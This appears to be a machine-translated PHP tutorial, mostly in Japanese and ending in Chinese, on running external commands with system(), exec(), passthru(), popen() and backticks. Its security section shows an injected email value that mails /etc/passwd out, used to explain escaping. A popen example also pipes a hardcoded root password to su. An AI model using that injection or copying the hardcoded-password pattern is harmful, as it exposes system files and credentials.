PHP は、サーバーサイドのスクリプト言語として、単純または複雑な動的 Web ページの作成などのタスクを完全に実行できます。ただし、常にそうとは限りません。場合によっては、特定の機能を実装するために、半分の労力で 2 倍の結果を得ることができるように、オペレーティング システムの外部プログラム (またはコマンド) を使用する必要があります。
では、PHP スクリプトで外部コマンドを呼び出すことは可能でしょうか?もしそうなら、どうすればいいですか?どのような懸念がありますか?この記事を読めば、きっとこれらの疑問に答えられると思います。
可能でしょうか?
答えは「はい」です。 PHP は、他のプログラミング言語と同様に、プログラム内で外部コマンドを呼び出すことができます。呼び出しは非常に簡単です。1 つまたはいくつかの関数を使用するだけです。
前提条件
PHP は基本的に WEB プログラム開発に使用されるため、セキュリティは人々が考慮する重要な側面となっています。そこで、PHP 設計者は PHP への扉、つまりセーフ モードを追加しました。セーフ モードで実行する場合、PHP スクリプトには次の 4 つの制限が適用されます:
外部コマンドの実行
ファイルを開くときのいくつかの制限
MySQL データベースへの接続
HTTP ベースの認証
セーフ モードでは外部のみ特定のディレクトリ内のプログラムは実行できますが、他のプログラムへの呼び出しは拒否されます。このディレクトリは、php.ini ファイルのsafe_mode_exec_dir ディレクティブを使用するか、PHP のコンパイル時に --with-exec-dir オプションを追加することで指定できます。デフォルトは /usr/local/php/bin です。
結果を出力できるはずの外部コマンド (PHP スクリプトにエラーがないことを意味します) を呼び出しても空白が表示される場合は、ネットワーク管理者が PHP をセーフ モードで実行している可能性があります。
どうやってやるの?
PHP で外部コマンドを呼び出すには、次の 3 つの方法を使用できます:
1) PHP が提供する特別な関数を使用します
PHP は、外部コマンドを実行するために合計 3 つの特別な関数を提供します: system ()、exec ()、パススルー()。
system()
プロトタイプ: string system (string command [, int return_var])
system() 関数は、指定されたコマンドを実行し、結果を出力して返します。 2 番目のパラメーターはオプションであり、コマンドの実行後にステータス コードを取得するために使用されます。
例:
<?system("/usr/local/bin/webalizer/webalizer");?> exec()
プロトタイプ: string exec (string command [, string array [, int return_var]])
exec() 関数は system() と似ており、指定されたコマンドも実行しますが、出力はしません結果ですが、返された結果の最後の行です。コマンド結果の最後の行のみを返しますが、2 番目のパラメーター配列を使用すると、配列の末尾に結果を 1 行ずつ追加することで完全な結果を取得できます。したがって、配列が空でない場合は、呼び出す前に unset() を使用して配列をクリアするのが最善です。第3パラメータは第2パラメータを指定した場合のみ、コマンド実行時のステータスコードを取得できます。
例:
<? exec("/bin/ls -l"); exec("/bin/ls -l", $res); #$res是一个数据,每个元素代表结果的一行 exec("/bin/ls -l", $res, $rc); #$rc的值是命令/bin/ls -l的状态码。成功的情况下通常是0 ?>
passthru()
プロトタイプ: void passthru (string command [, int return_var])
passthru() はコマンドを呼び出すだけで結果は返さず、コマンドの実行結果を直接出力します。標準出力デバイス上で。したがって、 passthru() 関数は、pbmplus (元の画像のバイナリ ストリームを出力する、Unix で画像を処理するツール) のようなプログラムを呼び出すためによく使用されます。コマンド実行時のステータスコードも取得できます。
例:
<? header("Content-type: image/gif"); passthru("./ppmtogif hunte.ppm"); ?>
2) Popen() 関数を使用してプロセスを開きます
上記のメソッドは単にコマンドを実行することしかできませんが、コマンドと対話することはできません。ただし、コマンドに何かを入力する必要がある場合があります。たとえば、Linux システム ユーザーを追加する場合、su を呼び出して現在のユーザーを root に変更する必要があり、su コマンドはコマンド ラインに root パスワードを入力する必要があります。この場合、明らかに上記の方法を使用することはできません。
popen() 関数は、プロセス パイプを開いて指定されたコマンドを実行し、ファイル ハンドルを返します。ファイルハンドルが返されるので、読み書きが可能です。 PHP3 では、この種のハンドルは書き込みまたは読み取りの 1 つの操作モードでのみ使用できますが、PHP4 以降は読み取りと書き込みを同時に行うことができます。ハンドルが 1 つのモード (読み取りまたは書き込み) で開かれていない限り、ハンドルを閉じるには pclose() 関数を呼び出す必要があります。
例 1:
<? $fp=popen("/bin/ls -l", "r"); ?>
例 2 (この例は、PHP China Alliance Web サイト http://www.phpx.com/show.php?d=col&i=51 から引用):
/* PHP でシステム ユーザーを追加する方法
以下は、james という名前のユーザーを追加するルーチンです
root パスワードは非常に適切です。参考のみ
*/ $sucommand = "su --login root --command"; $useradd = "useradd "; $rootpasswd = "verygood"; $user = "james"; $user_add = sprintf("%s \"%s %s\"",$sucommand,$useradd,$user); $fp = @popen($user_add,"w"); @fputs($fp,$rootpasswd); @pclose($fp); ?>
3) バッククォート (`、キーボードの ESC キーの下にあり、~ と同じキーの上にあるもの) を使用します
このメソッドはこれまで PHP ドキュメントに含まれていませんでした。裏技として存在します。方法は非常に簡単です。実行するコマンドを 2 つのバックティックで囲み、この式の値がコマンドの実行結果になります。例:
<? $res=`/bin/ls -l`; echo '<b><pre class="brush:php;toolbar:false">'.$res.''; ?>
このスクリプトの出力は次のようになります:
hunte.gif
hunte.ppm
jpg.htm
jpg.jpg
passthru.php
何を考慮する必要がありますか?
考慮すべき 2 つの問題: セキュリティとタイムアウト。
先看安全性。比如,你有一家小型的网上商店,所以可以出售的产品列表放在一个文件中。你编写了一个有表单的HTML文件,让你的用户输入他们的EMAIL地址,然后把这个产品列表发给他们。假设你没有使用PHP的mail()函数(或者从未听说过),你就调用Linux/Unix系统的mail程序来发送这个文件。程序就象这样:
<? system("mail $to < products.txt"); echo "我们的产品目录已经发送到你的信箱:$to"; ?>
用这段代码,一般的用户不会产生什么危险,但实际上存在着非常大的安全漏洞。如果有个恶意的用户输入了这样一个EMAIL地址:
'--bla ; mail someone@domain.com < /etc/passwd ;'
那么这条命令最终变成:
'mail --bla ; mail someone@domain.com < /etc/passwd ; < products.txt'
我相信,无论哪个网络管理人员见到这样的命令,都会吓出一身冷汗来。
幸好,PHP为我们提供了两个函数:EscapeShellCmd()和EscapeShellArg()。函数EscapeShellCmd把一个字符串中所有可能瞒过Shell而去执行另外一个命令的字符转义。这些字符在Shell中是有特殊含义的,象分号(),重定向(>)和从文件读入(<)等。函数EscapeShellArg是用来处理命令的参数的。它在给定的字符串两边加上单引号,并把字符串中的单引号转义,这样这个字符串就可以安全地作为命令的参数。
再来看看超时问题。如果要执行的命令要花费很长的时间,那么应该把这个命令放到系统的后台去运行。但在默认情况下,象system()等函数要等到这个命令运行完才返回(实际上是要等命令的输出结果),这肯定会引起PHP脚本的超时。解决的办法是把命令的输出重定向到另外一个文件或流中,如:
<? system("/usr/local/bin/order_proc > /tmp/null &"); ?>